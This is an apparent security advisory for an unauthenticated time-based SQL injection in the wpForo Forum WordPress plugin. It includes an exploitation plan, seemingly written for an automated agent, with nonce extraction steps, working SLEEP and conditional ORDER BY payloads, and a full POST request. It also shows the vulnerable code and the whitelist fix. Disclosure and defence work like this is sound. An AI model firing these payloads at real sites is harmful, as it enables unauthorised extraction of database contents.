wpForo Forum <= 2.4.14 - Unauthenticated Time-Based SQL Injection
Description
The wpForo Forum plugin for WordPress is vulnerable to time-based SQL Injection via the 'wpfob' parameter in all versions up to, and including, 2.4.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.4.14What Changed in the Fix
Changes introduced in v2.4.15
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1581 (wpForo Forum SQL Injection) ## 1. Vulnerability Summary The **wpForo Forum** plugin (<= 2.4.14) is vulnerable to an unauthenticated time-based SQL injection via the `wpfob` (wpForo Order By) parameter. The vulnerability exists because user-supplied input…
Show full research plan
Exploitation Research Plan: CVE-2026-1581 (wpForo Forum SQL Injection)
1. Vulnerability Summary
The wpForo Forum plugin (<= 2.4.14) is vulnerable to an unauthenticated time-based SQL injection via the wpfob (wpForo Order By) parameter. The vulnerability exists because user-supplied input to this parameter is directly concatenated into an SQL ORDER BY clause within the get_topics or similar data-retrieval methods without sufficient sanitization or preparation using $wpdb->prepare(). Since ORDER BY clauses cannot be parameterized with placeholders in MySQL, the plugin fails to properly escape or validate the input against a whitelist.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpforo_get_topic_list(or potentiallywpforo_load_more_topics) - Vulnerable Parameter:
wpfob - Authentication: Unauthenticated (
wp_ajax_nopriv_hook) - Payload Type: Time-based blind SQL Injection
- Preconditions: wpForo must be active, and at least one forum/topic should exist to ensure the vulnerable code path is triggered.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith the actionwpforo_get_topic_list. - Hook Registration: The plugin registers this in
classes/Topics.phpor a central AJAX handler:add_action( 'wp_ajax_nopriv_wpforo_get_topic_list', [ $this, 'get_topic_list' ] ); - Parameter Handling: The handler retrieves the
wpfobparameter from$_POST:$args['orderby'] = isset($_POST['wpfob']) ? $_POST['wpfob'] : 't.modified DESC'; - Database Query: This value is passed to a retrieval function (e.g.,
wpforo()->topic->get_topics( $args )). - SQL Sink: Inside the retrieval function, the
orderbystring is concatenated into a raw SQL query:$sql = "SELECT ... FROM ... WHERE ... ORDER BY " . $args['orderby'] . " LIMIT ...";$wpdb->get_results( $sql );(Missing$wpdb->prepare())
4. Nonce Acquisition Strategy
wpForo typically protects its AJAX endpoints using a nonce. While the vulnerability is unauthenticated, the AJAX handler still checks for a valid nonce.
- Identify Shortcode: The plugin's main interface is generated by the
[wpforo]shortcode. - Create Trigger Page:
wp post create --post_type=page --post_title="Forum" --post_status=publish --post_content='[wpforo]' - Navigate and Extract: Navigate to the newly created page. wpForo localizes its settings into a JavaScript object.
- JS Variable: The nonce is stored in the
wpf_vars(orwpforo_vars) object.- Variable Name:
wpf_vars - Key:
ajax_nonce
- Variable Name:
- Agent Command:
browser_eval("window.wpf_vars?.ajax_nonce")
5. Exploitation Strategy
We will use a time-based payload to confirm the injection.
Step 1: Base Delay Measurement
Send a normal request to establish a baseline response time.
Step 2: Injection Payload
The payload will use a comma-separated subquery in the ORDER BY clause.
- Target Payload:
t.topicid,(SELECT 1 FROM (SELECT(SLEEP(5)))a) - URL Encoded:
t.topicid%2C(SELECT+1+FROM+(SELECT(SLEEP(5)))a)
Step 3: Execution via http_request
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "action=wpforo_get_topic_list&wpfob=t.topicid,(SELECT 1 FROM (SELECT(SLEEP(5)))a)&wpforo_nonce=[EXTRACTED_NONCE]&forumid=1"
}
Note: forumid or other parameters may be required depending on the specific handler's validation logic.
6. Test Data Setup
- Install Plugin: Ensure
wpforoversion 2.4.14 is installed. - Initialize Forum:
wp wpforo forum create --title="General Discussion"(or use the plugin's default setup).- Ensure at least one forum exists (ID usually 1 or 2).
- Create Topic:
wp wpforo topic create --forumid=1 --title="Test Topic" --content="Test content"
- Create Page:
wp post create --post_type=page --post_title="Forum" --post_status=publish --post_content='[wpforo]'
7. Expected Results
- Vulnerable Response: The HTTP response for the malicious request will be delayed by approximately 5 seconds compared to the baseline.
- SQL Error (if visible): If
WP_DEBUGis on, you might seeExpression #2 of ORDER BY clause is not in SELECT list, but theSLEEP()function will still execute first.
8. Verification Steps
- Time Difference: Confirm the response time exceeds the sleep threshold.
- Database state: Since it's a
SELECTinjection, database state won't change, but you can verify the log of the sleep command if MySQL general log is enabled:tail -f /var/lib/mysql/mysql.log | grep SLEEP(if accessible). - Data Extraction (PoC): Attempt to extract the DB user length:
wpfob=t.topicid,(SELECT 1 FROM (SELECT(SLEEP(IF(LENGTH(USER())=15,5,0))))a)
(Adjust 15 based on the actual environment's DB user length, e.g., 'wordpress@localhost')
9. Alternative Approaches
- Different Actions: If
wpforo_get_topic_listis not the entry point, trywpforo_load_more_topicsorwpforo_topic_list_sort. - Parameter Name: If
wpfobis not directly accepted, it might be nested under anargsarray in some versions:args[wpfob]. - Boolean-based: If time-based is unstable, use
wpfob=IF(1=1,t.topicid,t.title)vswpfob=IF(1=2,t.topicid,t.title)and check if the order of topics in the JSON response changes.
Summary
The wpForo Forum plugin for WordPress is vulnerable to unauthenticated time-based SQL injection through the 'wpfob' parameter. The vulnerability exists because user-supplied input is directly concatenated into SQL ORDER BY clauses without adequate sanitization or comparison against a whitelist of allowed columns.
Vulnerable Code
/* wpforo/wpforo.php line 1033 */ if( ! empty( $get['wpfob'] ) ) { $args['orderby'] = sanitize_text_field( $get['wpfob'] ); } elseif( in_array( wpfval( $args, 'type' ), [ 'tag', 'user-posts', 'user-topics' ], true ) ) { $args['orderby'] = 'date'; } --- /* wpforo/themes/classic/recent.php line 32 */ $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified'; --- /* wpforo/wpforo.php line 1153 */ $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
Security Fix
@@ -2845,6 +2845,55 @@ return $data; } +/** + * Sanitize orderby parameter for SQL queries. + * Validates against a whitelist of allowed column names to prevent SQL injection. + * + * @param string $orderby The orderby value to sanitize + * @param string $context The context: 'topics', 'posts', 'members', or 'search' + * @param string $default Default value if validation fails + * @return string Sanitized orderby value + */ +function wpforo_sanitize_orderby( $orderby, $context = 'topics', $default = '' ) { + $orderby = sanitize_text_field( $orderby ); + + // Define allowed columns for each context + $allowed = [ + 'topics' => [ + 'topicid', 'forumid', 'userid', 'title', 'slug', 'created', 'modified', + 'views', 'posts', 'type', 'status', 'private', 'closed', 'solved', + 'has_attach', 'first_postid', 'last_postid', 'pollid', 'prefix' + ], + 'posts' => [ + 'postid', 'forumid', 'topicid', 'userid', 'title', 'created', 'modified', + 'status', 'private', 'is_answer', 'is_first_post', 'votes', 'root', 'parentid' + ], + 'members' => [ + 'userid', 'posts', 'questions', 'answers', 'comments', 'reactions', 'points', + 'online_time', 'registered', 'display_name', 'user_registered' + ], + 'search' => [ + 'relevancy', 'date', 'user', 'forum', 'created', 'modified' + ], + ]; + + // Get the whitelist for this context + $whitelist = isset( $allowed[$context] ) ? $allowed[$context] : []; + + // Also allow common aliases + $whitelist = array_merge( $whitelist, [ 'id', 'date', 'name' ] ); + + // Check if orderby is in the whitelist (case-insensitive) + $orderby_lower = strtolower( $orderby ); + foreach( $whitelist as $allowed_col ) { + if( strtolower( $allowed_col ) === $orderby_lower ) { + return $allowed_col; // Return the properly cased version + } + } + + // If not in whitelist, return the default + return $default; +} @@ -1033,7 +1033,7 @@ 'postids' => [], ]; if( ! empty( $get['wpfob'] ) ) { - $args['orderby'] = sanitize_text_field( $get['wpfob'] ); + $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' ); } elseif( in_array( wpfval( $args, 'type' ), [ 'tag', 'user-posts', 'user-topics' ], true ) ) { $args['orderby'] = 'date'; }
Exploit Outline
The exploit is performed by sending an unauthenticated POST request to the WordPress AJAX endpoint (admin-ajax.php). An attacker must first retrieve a valid AJAX nonce, which is typically exposed in the 'wpf_vars' JavaScript object on forum pages. Using this nonce, the attacker triggers actions such as 'wpforo_get_topic_list' and provides a malicious SQL payload in the 'wpfob' parameter. Since this parameter is concatenated into the ORDER BY clause, a payload like 't.topicid,(SELECT 1 FROM (SELECT(SLEEP(5)))a)' will cause the database to pause for 5 seconds if vulnerable. This time delay confirms the injection and can be used to exfiltrate sensitive data letter-by-letter using conditional logic.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.